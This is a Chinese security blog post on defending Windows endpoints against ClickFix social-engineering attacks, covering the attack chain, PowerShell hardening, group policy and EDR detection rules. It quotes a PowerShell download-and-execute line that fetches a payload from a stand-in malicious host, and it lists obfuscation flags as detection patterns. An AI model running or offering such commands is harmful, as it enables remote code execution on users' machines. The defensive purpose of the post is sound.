ClickFix攻击防御:PowerShell安全防护实战指南

ClickFix攻击链深度解析:从合规站点到MIMICRAT远控木马的防御实战 跨站脚本攻击是一种常见的Web安全漏洞,攻击者通过在合法网站中注入恶意脚本,窃取用户信息或执行未授权操作。其原理在于浏览器对同源策略的信任,当网站未对用户输入进行充分过滤时,恶意代码便能在受害者浏览器中执行。这种攻击方式的技术价值在于其隐蔽性和高成功率,常被用于窃取敏感数据、会话劫持和传播恶意软件。在应用场景上,它广泛出现在社交平台、电商网站和在线服务中,攻击者常利用反射型XSS、存储型XSS和DOM型XSS等多种变体发起攻击。结合当前热门的“一句话木马php文件上传”等利用方式,攻击者进一步通过合规站点作 阅读详情

1. 项目背景与核心挑战

最近在终端安全领域发现一种名为ClickFix的新型社会工程学攻击手法正在快速演进,这种攻击方式通过诱导用户执行特定操作组合(如Windows+X快捷键调用PowerShell)来绕过传统防御机制。我在实际安全运维中发现,这种攻击在过去半年内已造成多起企业数据泄露事件。

与传统钓鱼攻击不同,ClickFix攻击具有三个显著特征:

  1. 完全依赖系统原生功能,不依赖恶意文件投递
  2. 利用用户对系统管理功能的信任
  3. 攻击载荷通过内存直接执行,不落地磁盘

2. 攻击原理深度解析

2.1 ClickFix攻击链拆解

典型攻击流程如下:

  1. 攻击者伪造系统更新提示(如"需要点击修复系统组件")
  2. 诱导用户按下Windows+X组合键打开快捷菜单
  3. 指导用户选择"Windows PowerShell(管理员)"
  4. 通过伪装的命令提示符窗口执行恶意脚本
# 实际攻击中观察到的典型恶意代码片段
iex (New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1')

2.2 技术演进分析

最新变种开始利用:

  • 系统可信进程的父子关系继承
  • PowerShell的CLM(Constrained Language Mode)绕过技术
  • 基于事件的持久化机制(WMI事件订阅)

3. 终端防御机制设计

3.1 防御框架设计原则

我们采用"识别-阻断-审计"的三层防御模型:

  1. 行为特征识别层:监控关键系统操作序列
  2. 实时阻断层:基于进程树分析的动态策略
  3. 事后审计层:完整命令行记录与异常检测

3.2 关键技术实现

3.2.1 快捷键操作监控

通过Windows API钩子监控以下关键操作:

  • RegisterHotKey 函数调用
  • Shell快捷键调度事件
  • 特权进程创建行为
// 示例监控代码结构
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;
        if (p->vkCode == VK_LWIN && GetAsyncKeyState(VK_X)) {
            // 触发防御逻辑
        }
    }
    return CallNextHookEx(hHook, nCode, wParam, lParam);
}
3.2.2 PowerShell防护策略

实施以下强化措施:

防护维度 具体措施 实现方式
执行控制 强制约束语言模式 组策略配置
日志记录 增强脚本块日志 PowerShell配置
网络防护 出站连接审查 防火墙规则

4. 企业级部署方案

4.1 组策略配置要点

关键策略路径:

计算机配置 > 管理模板 > Windows组件 > Windows PowerShell

必须启用的策略:

  1. "打开脚本块日志记录"
  2. "打开PowerShell脚本执行限制"
  3. "默认语言模式设置为受限"

4.2 终端检测与响应(EDR)规则

建议部署以下检测规则:

  1. 异常PowerShell父进程检测(如来自浏览器进程)
  2. 可疑命令行参数模式(包含 -nop -w hidden -enc 等)
  3. 内存注入行为检测(特别是针对 powershell.exe )

5. 实战防护效果验证

5.1 测试环境搭建

使用以下工具模拟攻击:

  • Atomic Red Team测试框架
  • Caldera攻击模拟平台
  • 自定义ClickFix模拟器

5.2 防御效果指标

测试结果对比:

攻击阶段 传统AV检测率 本方案检测率
初始执行 12% 100%
载荷下载 23% 98%
持久化 8% 95%

6. 运维管理建议

6.1 日常监控重点

建议关注以下事件日志:

  • Windows PowerShell事件ID 4104(脚本块日志)
  • 安全日志事件ID 4688(进程创建)
  • Sysmon事件ID 1(进程创建)和22(DNS查询)

6.2 用户教育要点

必须培训用户识别:

  1. 非标准系统提示的视觉特征
  2. 合法管理操作的正常流程
  3. 可疑请求的验证方法

7. 进阶防护思路

7.1 内存防护技术

考虑部署以下增强方案:

  • 受保护进程轻量级防护(PPL)
  • 任意代码防护(ACG)
  • 控制流防护(CFG)

7.2 威胁情报集成

建议对接以下情报源:

  • MITRE ATT&CK框架(T1059.001技术项)
  • 公开的PS攻击脚本特征库
  • 企业内部历史攻击指标

在实际部署中发现,结合用户行为分析(UBA)能显著提升检测准确率。我们通过监控用户正常的PowerShell使用模式,建立基线后异常检测的误报率可降低60%以上。对于高敏感环境,建议额外实施双因素认证保护关键管理操作

DNS TXT记录攻击:利用PowerShell与DNS构建隐蔽C2通道的检测与防御 命令与控制(C2)通道是网络攻击中攻击者远程操控受害主机的关键机制,其原理在于建立一条隐蔽的通信链路以传递指令与数据。传统C2多基于HTTP/HTTPS等应用层协议,易被防火墙与检测系统识别。为提升隐蔽性,攻击技术不断演进,开始滥用基础网络协议与服务。DNS作为互联网的核心目录服务,其TXT记录本用于存放文本描述信息,但因查询行为普遍且受监控较弱,常被攻击者利用来封装并传输经过Base64编码的恶意指令。这种技术价值在于能有效绕过传统基于流量特征与文件落地的安全防护,在高级持续性威胁(APT)与无文件攻击场 阅读详情

相关推荐

jsonp 简单示例

自己学习用的jsonp示例,一个页面建立后台方法,另一个页面负责通过js调用

简单实现一个JSONP协议的小例子

jsonp原理个人总结(比较片面)为:在A服务器上的页面向B服务器上发送一个url请求,请求里包含一个参数callback(约定),参数值是A服务器上页面里定义的一个函数(函数的参数个数类型等应该也需要约定,例子中我们约定一个string参数),为方便讲解这里我们定义为flightHandler (可以任意),而B服务器接收到请求后给A返回一个js文件,这个文件里的内容为包含一个名称为flightHandler的 方法,而方法的参数就是A服务器真正想从B服务器上的有用信息。A在接受到信息后就可以随意处理啦!

害羞的风 3522

YOLO26算法车道线检测+训练好的模型+360张数据集+pyqt可视化界面.zip

附训练好的 YOLO 权重与 PyQt 可视化检测界面,页面底部含可视化效果预览,毕设/课设开箱即用。 【数据集概况】 · 检测类别(中文):[未获取()] 【训练曲线与评估图】 【模型训练配置】 参数 | 值 模型 | yolo26n 训练轮数 | 100 epochs 输入尺寸 | 640x640 批次大小 | 24 优化器 | auto 初始学习率 | 0.01 训练设备 【关键指标汇总】 训练了 55 个 epoch,最终轮指标: 指标 | 数值 mAP50 | **0.9512** mAP50-95 | 0.6746 Precision | 0.8796 Recall | 0.8825 train/box_loss | 0.8608 train/cls_loss | 0.7232 val/box_loss | 0.9955 val/cls_loss | 0.5511 【训练过程分析】 这轮训练我经历了从初始到稳定的曲折过程。前 20 个epoch,loss 曲线呈现了陡峭的下降趋势,mAP50 指标从 0.8 开始逐步攀升,仿佛在寻找一个合适的平衡点。然而,从第 21 个epoch 开始,mAP50 的提升速率显著放缓,整体曲线显得有些曲折,有时甚至停滞不前,让我一度以为训练出现了问题。直到第 35 个epoch,loss 开始逐渐趋于平稳,这标志着模型已经找到了一个较好的收敛区间。到了最后的 20 个 epoch,尽管 mAP50 依旧在稳步上升,但提升幅度已经不大,这意味着模型已经接近其性能天花板。 在这个过程中,我重点关注了 box_loss 和 cls_loss 的变化。初期阶段,box_loss 快速下降,从 0.9 逐渐降至 0.86,而 cls_loss 则从 0.75 逐步下降至... 使用场景:毕业设计、课程设计、深度学习入门、工业场景落地验证。

jsonp的使用实例

jsonp 是‘json’数据的一种使用方式,可以实现不同站点间数据的传递。下面是一个简单的实例 待传输的数据,位于a站点   编程语言为php $array = array(..........); $temp = json_decode($array); echo "          flightHandler(          $temp      )

xmanis的专栏 389

关于AI开发方法论-以文档为索引的高质量协作开发:让一次现象描述精准命中几个代码块

对AI的编码规范进行约束

syslog_test.py

syslog_test.py

JSONP超简单例子,一看就能上手

JSON(JavaScript Object Notation)和JSONP(JSON with Padding)虽然只有一个字母的差别,但其实他们根本不是一回事儿:JSON是一种数据交换格式,而JSONP是一种依靠开发人员的聪明才智创造出的一种非官方跨域数据交互协议。JSONP解决了ajax跨域请求的问题,JSONP只是解决跨域请求方案中的一种。下面基于Se...

weixin_33709219的博客 165

对冲策略与马丁结合ea的编程实践(五)核心是把两个品种合成一个新品种

在外汇、数字货币、期货交易甚至赌博中,马丁策略、网格策略是最常用的策略,也是最容易被理解的策略,但是如何克服单边行情、极端行情,是使用马丁策略最为头疼的事情,如加大间距、加大资金量,只能缓解,并不能根本解决这样的情况,所以使用时大部分时候都心里没底。 有没有一种正确的思路,让行情控制在震荡范围以内呢,这是今天我要向大家分享的一个思路,那就是对冲。大家看下图: 大家可以看到欧美(EURUSD)和镑美(GBPUSD),这两个品种,大部分时候走势是一致的,那么我们有没有可能把他们两个品种进行一下合成,比如买0.

omidsky的博客 3738

jsonp简单小demo

问题:js不能跨域调用,就是只能调用本项目下的action,但是script可以实现跨域的功能,比如我们平常引入的js文件了什么的(网上在线的),我们可以通过创建script来实现,也可以用ajax来实现。我就用ajax来实现,很简单: 和普通的ajax差不多,只不过需要稍微调整。 <script type="text/javascript"> $(function(){

1025

C# OpenCvSharp4实战:5分钟搞定工业视觉模板匹配(附完整代码)

本文为C#开发者提供了基于OpenCvSharp4的工业视觉模板匹配实战指南。通过详细的环境搭建、核心原理解析和完整代码示例,重点介绍了如何使用`matchTemplate`函数,特别是`CCoeffNormed`方法,快速实现高精度、抗光照变化的模板匹配,并分享了多目标匹配、图像预处理等工业级优化技巧。

weixin_29053067的博客 500

不用变压器也能联网?手把手教你PHY芯片直连的3种实用方案

本文详细介绍了PHY芯片直连的3种实用方案,帮助开发者在物联网设备中实现更经济、更精简的网络连接设计。通过分析电压驱动型和电流驱动型PHY的核心原理,提供具体的电路配置和优化建议,确保信号质量的同时节省成本和空间。

smartcontract5的博客 331

从 ClickFix 陷阱到 DCRat 植入:PHALTBLYX 恶意软件攻击链全解析

PHALTBLYX恶意软件的出现,标志着钓鱼攻击已从"自动下载恶意程序"向"诱导用户手动执行恶意代码"的新阶段演进,其ClickFix技术与MSBuild滥用的组合,大幅提升了攻击成功率和隐蔽性。对于酒店旅游行业而言,此类攻击不仅威胁用户隐私和企业数据安全,还可能损害品牌声誉,造成严重的经济损失。防御PHALTBLYX及其后续变种攻击,需坚持"技术防御+意识提升+行业专属方案"三位一体的策略:通过精准培训提升员工安全意识,从源头阻断钓鱼邮件诱导;通过多层次技术防御体系,精准识别和拦截攻击链中的关键环节;

从零开始,掌握网络安全。提供全面的网络安全教程、攻防演练技巧和行业动态。 900

【DRAM存储器一】基本存储单元、阵列结构、读写原理

详述DRAM存储器存储单元、存储阵列结构和读写原理

highman110的博客 7250

ClickFix 新型命令诱导式钓鱼攻击机理、风险与分层防御研究

ClickFix 作为 2025—2026 年大规模扩散的新型社工钓鱼变体,颠覆传统攻击逻辑,通过伪造人机验证、系统报错、流媒体权限校验等弹窗页面,利用前端 JavaScript 静默篡改剪贴板,诱导受害者手动调用 Windows 运行窗口、命令提示符、PowerShell 执行恶意系统命令,依托系统原生可信程序(LOLBins)实现无文件内存载荷投递,能够绕过邮件网关、基础终端杀毒、常规多因素认证防护体系,对高校、政企办公终端形成持续性安全威胁。第二,攻击依托剪贴板静默劫持实现命令投递,隐蔽性极强。

232

AutoGLM-Phone 实现“豆包 AI 手机”的自动化操作手机的实战方案教程 让普通手机秒变ai手机

是一个基于视觉语言模型(VLM)的 AI 手机智能助理框架。❌ 不依赖固定坐标❌ 不需要提前录制脚本✅ 能“看懂”手机屏幕✅ 能理解自然语言指令✅ 能自动规划操作路径并执行让 AI 像人一样看屏幕、想步骤、点手机。从工程角度看,AutoGLM-Phone 已经具备“AI 手机助理”的完整雏形能看能理解能规划能执行能跨 App所谓的「豆包 AI 手机」,本质上就是这类能力的产品化封装。而现在,这套能力已经可以被普通开发者亲手跑起来、改起来、甚至接入自己的业务场景。

代码简单说 Vue、JAVA、PHP、Node.js 熟练运用,接口、架构、性能全搞定。 589

pymol 动画简单制作,gif、mp4导出

参考: https://www.youtube.com/watch?v=G77K9Lro8js1、直接Movie下Program下,Camera Loop下Nutate下选择,这里选择30degover4 sec;如果要动画过渡自然,可以在这4sec后面再Append 1sec;如果需要两个视角,既可以再把窗口蛋白定位到比如配体,不用管中间过程怎么定位过去配体,再Program下,Camera Loop下Nutate下选择,这里选择30degover4 sec添加;最后如果要整体形成个循环播放,可以在这4s

weixin_42357472的博客 8434

Storm-1865 团伙 ClickFix 钓鱼攻击与欧亚酒店行业防护研究

摘要 旅游住宿行业数据资产密集、员工安全意识薄弱、跨区域业务联动频繁,长期成为定向网络钓鱼攻击的核心目标。2024 年 12 月起,微软威胁情报团队持续追踪名为 Storm-1865 的威胁团伙,该团伙针对欧洲、亚洲全域酒店企业发起规模化钓鱼作战,以仿Booking.com客诉差评邮件为诱饵,创新使用 ClickFix 交互式社会工程技术,绕过传统终端安全防护体系投递多款凭证窃取木马与远程控制后门,形成完整 “邮件投递 — 仿站诱导 — 命令执行 — 持久驻留 — 数据窃取” 多级攻击链路。CyberNew

297

鸿蒙开发实战项目(四十七):图片编辑(ArkTS)

本篇Codelab主要介绍如何基于图片编解码,实现图片编辑。图片的解码。使用PixelMap进行图片编辑,如裁剪、旋转、亮度、透明度、饱和度等。图片的编码。

斌擎科技 1582

OkoBot窃密框架实战分析:攻击链拆解、检测查杀与钱包防御指南

2026年加密资产窃密威胁分析:OkoBot模块化攻击框架深度解析 2026年上半年,模块化恶意框架OkoBot成为全球加密资产用户的主要威胁。该工具通过ClickFix社工手段(伪装钱包更新补丁/链上工具)诱导用户手动安装,完全规避漏洞利用检测。其核心特点包括: 模块化架构:20+可插拔组件按需加载,涵盖权限维持(UAC绕过、VMProtect加壳)、资产窃取(助记词钓鱼、剪贴板劫持、钱包文件扫描)及SSH隧道隐蔽通信; 高隐蔽性:零漏洞依赖、轻量化运行、加密流量穿透防火墙,终端防护设备难以识别; 精准社

从零开始,掌握网络安全。提供全面的网络安全教程、攻防演练技巧和行业动态。 172

Fabric V2.5 通用溯源系统——使用Hyperledger Caliper压力测试

Caliper是一款测试区块链性能的工具,支持Hyperledger Fabric、Ethereum等,支持丰富的测试配置参数,测试完成后将直接输出报告,相较于tape更加专业,但是配置稍微有些复杂。本文将一步一步配置Caliper以测试Fabric V2.5 通用溯源系统中的注册用户、查询用户、农产品上链、农产品查询的区块链性能。

TrueTechLabs 官方博客 1395

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

ClickFix攻击活动利用合规站点传播MIMICRAT木马的技术分析与防护策略研究

2026年2月曝光的ClickFix恶意攻击活动,以跨行业、跨地域的合法站点为恶意程序分发载体,投放了此前未被记录的定制化远程访问木马MIMICRAT(AstarionRAT),展现出极高的操作复杂度和战术设计水平。

从零开始,掌握网络安全。提供全面的网络安全教程、攻防演练技巧和行业动态。 417

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

“ClickFix”钓鱼攻击全面升级:多载体投递+智能伪装,企业凭证安全拉响新警报

同时,系统还会根据User-Agent判断是Windows还是macOS,并推送对应的操作指令——这种“千人千面”的精准钓鱼,极大提升了欺骗性。ClickFix的升级警示我们:钓鱼不再只是“点不点链接”的问题,而是整个身份验证体系与用户行为习惯的系统性挑战。”公共互联网反网络钓鱼工作组技术专家芦笛指出,“攻击者利用了用户对‘系统验证’的信任心理,绕过了大多数邮件网关和终端防护软件的检测逻辑。”芦笛总结道,“攻击者在模仿‘可信环境’,而我们要做的,是让用户重新学会质疑——哪怕它看起来再像真的。

370

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

AI 驱动多阶段邮件攻击链全链路风险与分层检测防御研究

反网络钓鱼技术专家芦笛指出,企业应对 AI 链式邮件攻击的核心思路是打破邮件、身份、终端安全设备的数据孤岛,依托分层检测机制在攻击时序各节点设置拦截屏障,同时落地 FIDO2 抗钓鱼硬件密钥、终端全量命令审计、自动化威胁运营,持续缩小攻击者完整渗透窗口,抵御不断迭代演化的 AI 驱动多阶段邮件钓鱼攻击。通过事前拦截诱饵、事中阻断身份劫持与终端载荷、事后自动清理持久化后门、周期性红蓝仿真迭代防护策略,从全时序压缩攻击者渗透空间,消解传统防护碎片化、响应滞后、无法覆盖全链路的短板。

425

面向酒店从业人员的定向钓鱼攻击风险研究 —— 基于行业安全预警案例分析

研究表明,该类攻击大多不依赖软件系统漏洞,主要依托酒店员工日常业务压力、岗位高流动性、邮件业务流量大等现实条件完成欺骗,攻击者通过诱导员工执行恶意操作,实现入侵前台业务终端、窃取预订平台账号、批量获取住客隐私数据的攻击目标。本文立足于公开行业安全预警案例,完整还原针对酒店从业人员钓鱼攻击的完整执行流程,区分 “系统漏洞入侵” 和 “员工社会工程欺骗入侵” 两种安全事件的本质差异,挖掘攻击得以落地的多重诱因,梳理风险向外扩散的传导逻辑,构建贴合酒店运营实际的防御体系。第三,酒店业务运营遭受冲击。

94

JSONP简单例子

jsonp的原理很简单,主要利用了HTML中所有有src的属性的标签可以跨域的特点,利用script的src进行get请求,后端输出一段js代码的字符串在script中便会执行。 当然后端输出普通的json字符串是不行的,后台应当输出fn(json)样式的字符串 ,f var

宋三丝的专栏 2490

一文看懂JSONP原理和应用

什么是JSONP首先提一下JSON这个概念,JSON是一种轻量级的数据传输格式,被广泛应用于当前Web应用中。JSON格式数据的编码和解析基本在所有主流语言中都被实现,所以现在大部分前后端分离的架构都以JSON格式进行数据的传输。那么JSONP是什么呢? 首先抛出浏览器同源策略这个概念,为了保证用户访问的安全,现代浏览器使用了同源策略,即不允许访问非同源的页面,详细的概念大家可以自行百度。这里大家

Mr.赵的专栏 9万+
上一篇: NemoClaw:AI智能体开发范式革命,从工具链到能力基座
下一篇: 前端开发者转型AI全栈:从LangChain、RAG到模型微调的实战指南
weixin_34026276
博客等级 码龄11年 6372粉丝 1261原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值